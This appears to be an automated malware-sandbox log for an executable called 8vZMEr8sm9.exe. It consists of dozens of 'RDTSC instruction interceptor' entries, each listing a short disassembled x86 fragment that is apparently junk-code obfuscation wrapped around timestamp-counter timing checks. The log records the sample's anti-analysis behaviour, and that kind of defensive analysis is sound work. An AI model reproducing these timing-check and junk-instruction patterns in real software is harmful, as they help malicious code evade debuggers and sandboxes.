Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3DAD07 second address: 3DAD3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9B30E293C1h 0x00000008 jmp 00007F9B30E293BEh 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 pop edx 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 pushad 0x00000018 je 00007F9B30E293B6h 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3F3D89 second address: 3F3D8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3F4050 second address: 3F4056 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3F4056 second address: 3F4064 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F9B30829926h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3F418D second address: 3F41AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30E293C5h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3F41AE second address: 3F41B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3F41B4 second address: 3F41DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9B30E293BAh 0x00000009 jg 00007F9B30E293B6h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F9B30E293BEh 0x00000017 jg 00007F9B30E293B6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3F41DF second address: 3F41E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3F41E5 second address: 3F41EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3F44F8 second address: 3F44FD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3F466E second address: 3F4672 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3F4A3E second address: 3F4A42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3F4A42 second address: 3F4A50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3F4A50 second address: 3F4A5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9B3082992Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3F6504 second address: 3F6512 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3F6512 second address: 3F6516 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3F7BFC second address: 3F7C02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3F7C02 second address: 3F7C2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9B3082992Ch 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9B30829934h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3FA597 second address: 3FA59B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3FA59B second address: 3FA59F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3FA59F second address: 3FA5A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3FA5A5 second address: 3FA5B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9B3082992Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3FA8DB second address: 3FA8DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3FA8DF second address: 3FA8E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3FAB7B second address: 3FABAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 popad 0x00000008 nop 0x00000009 mov edx, esi 0x0000000b call 00007F9B30E293BDh 0x00000010 mov dh, 0Fh 0x00000012 pop edx 0x00000013 push dword ptr [ebp+12466B0Fh] 0x00000019 xor dl, 00000010h 0x0000001c call 00007F9B30E293B9h 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 push esi 0x00000025 pop esi 0x00000026 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3FABAD second address: 3FABED instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9B30829926h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push ebx 0x0000000d jns 00007F9B30829928h 0x00000013 pushad 0x00000014 popad 0x00000015 pop ebx 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a push esi 0x0000001b jnc 00007F9B30829930h 0x00000021 pop esi 0x00000022 mov eax, dword ptr [eax] 0x00000024 push edi 0x00000025 jo 00007F9B30829928h 0x0000002b pushad 0x0000002c popad 0x0000002d pop edi 0x0000002e mov dword ptr [esp+04h], eax 0x00000032 pushad 0x00000033 push esi 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3FC09D second address: 3FC0A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AD0031 second address: 4AD003F instructions: 0x00000000 rdtsc 0x00000002 mov si, 6A3Fh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AD003F second address: 4AD0063 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edx, ecx 0x00000006 popad 0x00000007 mov ah, 61h 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007F9B30E293C2h 0x00000010 xchg eax, ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AD0063 second address: 4AD0069 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AD0069 second address: 4AD0094 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, bx 0x00000006 jmp 00007F9B30E293C7h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 movsx edi, cx 0x00000016 mov al, D6h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AD0094 second address: 4AD00B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30829936h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AD00B5 second address: 4AD00B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AD00B9 second address: 4AD00BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AB0F6F second address: 4AB0F73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AB0F73 second address: 4AB0F79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AF0AB8 second address: 4AF0ABE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AF0ABE second address: 4AF0AC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A900E3 second address: 4A900F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9B30E293BEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A900F5 second address: 4A9017C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B3082992Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov ebx, eax 0x0000000f pushfd 0x00000010 jmp 00007F9B30829930h 0x00000015 sub esi, 4486EA58h 0x0000001b jmp 00007F9B3082992Bh 0x00000020 popfd 0x00000021 popad 0x00000022 mov ebp, esp 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007F9B30829934h 0x0000002b adc ecx, 5A4674B8h 0x00000031 jmp 00007F9B3082992Bh 0x00000036 popfd 0x00000037 mov di, cx 0x0000003a popad 0x0000003b push dword ptr [ebp+04h] 0x0000003e jmp 00007F9B30829932h 0x00000043 push dword ptr [ebp+0Ch] 0x00000046 pushad 0x00000047 movzx eax, bx 0x0000004a push eax 0x0000004b push edx 0x0000004c mov esi, edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A9017C second address: 4A901B7 instructions: 0x00000000 rdtsc 0x00000002 call 00007F9B30E293C5h 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push dword ptr [ebp+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 movzx ecx, dx 0x00000014 call 00007F9B30E293C5h 0x00000019 pop eax 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A901B7 second address: 4A901BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AB0C91 second address: 4AB0CAD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30E293C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AB0897 second address: 4AB089B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AB089B second address: 4AB08A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AB08A1 second address: 4AB08C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30829932h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9B3082992Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AB08C8 second address: 4AB08CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AB08CE second address: 4AB08D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AB08D2 second address: 4AB08FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F9B30E293C9h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AB08FC second address: 4AB0900 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AB0900 second address: 4AB0906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AB0508 second address: 4AB050D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AB050D second address: 4AB053D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30E293BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F9B30E293C6h 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AB053D second address: 4AB0596 instructions: 0x00000000 rdtsc 0x00000002 mov dl, 21h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F9B30829936h 0x0000000c add ecx, 471E0788h 0x00000012 jmp 00007F9B3082992Bh 0x00000017 popfd 0x00000018 popad 0x00000019 xchg eax, ebp 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d pushfd 0x0000001e jmp 00007F9B30829932h 0x00000023 sbb ecx, 4553E9E8h 0x00000029 jmp 00007F9B3082992Bh 0x0000002e popfd 0x0000002f rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AB0596 second address: 4AB05AA instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dl, 9Dh 0x00000009 popad 0x0000000a mov ebp, esp 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f mov ecx, 765C2CCFh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AB05AA second address: 4AB05D9 instructions: 0x00000000 rdtsc 0x00000002 movzx eax, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dx, 14F4h 0x0000000b popad 0x0000000c pop ebp 0x0000000d pushad 0x0000000e call 00007F9B30829939h 0x00000013 pushad 0x00000014 popad 0x00000015 pop eax 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AC0250 second address: 4AC02A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9B30E293C1h 0x00000009 and ecx, 1FA0F0C6h 0x0000000f jmp 00007F9B30E293C1h 0x00000014 popfd 0x00000015 mov di, si 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ebp 0x0000001c jmp 00007F9B30E293BAh 0x00000021 push eax 0x00000022 pushad 0x00000023 push edi 0x00000024 mov cl, F2h 0x00000026 pop edx 0x00000027 mov edi, ecx 0x00000029 popad 0x0000002a xchg eax, ebp 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e mov edi, 2251EEB0h 0x00000033 mov dh, 45h 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AC02A3 second address: 4AC02E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B3082992Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F9B3082992Bh 0x00000014 add cx, 4A0Eh 0x00000019 jmp 00007F9B30829939h 0x0000001e popfd 0x0000001f push ecx 0x00000020 pop edi 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AC02E5 second address: 4AC02EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AF0990 second address: 4AF09A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9B3082992Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AF09A0 second address: 4AF09EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30E293BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F9B30E293BFh 0x00000013 add eax, 4F39B69Eh 0x00000019 jmp 00007F9B30E293C9h 0x0000001e popfd 0x0000001f movzx esi, bx 0x00000022 popad 0x00000023 xchg eax, ebp 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AF09EE second address: 4AF09F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AF09F2 second address: 4AF0A06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30E293C0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AF0A06 second address: 4AF0A0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AF0A0C second address: 4AF0A10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AF0A10 second address: 4AF0A14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AF0A14 second address: 4AF0A3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F9B30E293C9h 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov ah, bl 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AF0A3F second address: 4AF0A44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AF0A44 second address: 4AF0A4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AF0A4A second address: 4AF0A4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AD04D1 second address: 4AD04E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9B30E293C3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AD04E8 second address: 4AD0582 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30829939h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov ecx, 08ECC303h 0x00000012 pushfd 0x00000013 jmp 00007F9B30829938h 0x00000018 sub ax, C0C8h 0x0000001d jmp 00007F9B3082992Bh 0x00000022 popfd 0x00000023 popad 0x00000024 push eax 0x00000025 jmp 00007F9B30829939h 0x0000002a xchg eax, ebp 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e movsx edi, si 0x00000031 pushfd 0x00000032 jmp 00007F9B30829934h 0x00000037 or esi, 64367588h 0x0000003d jmp 00007F9B3082992Bh 0x00000042 popfd 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AD0582 second address: 4AD0588 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AD0588 second address: 4AD058C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AD058C second address: 4AD0590 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AD0590 second address: 4AD05A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AD05A0 second address: 4AD05A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AD05A4 second address: 4AD05AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AD05AA second address: 4AD0622 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30E293BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebp+08h] 0x0000000c jmp 00007F9B30E293C6h 0x00000011 and dword ptr [eax], 00000000h 0x00000014 jmp 00007F9B30E293C0h 0x00000019 and dword ptr [eax+04h], 00000000h 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushad 0x00000021 popad 0x00000022 pushfd 0x00000023 jmp 00007F9B30E293C3h 0x00000028 xor si, 0D3Eh 0x0000002d jmp 00007F9B30E293C9h 0x00000032 popfd 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AD0622 second address: 4AD0628 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AD0628 second address: 4AD062C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AD062C second address: 4AD0630 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AB06C3 second address: 4AB06C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
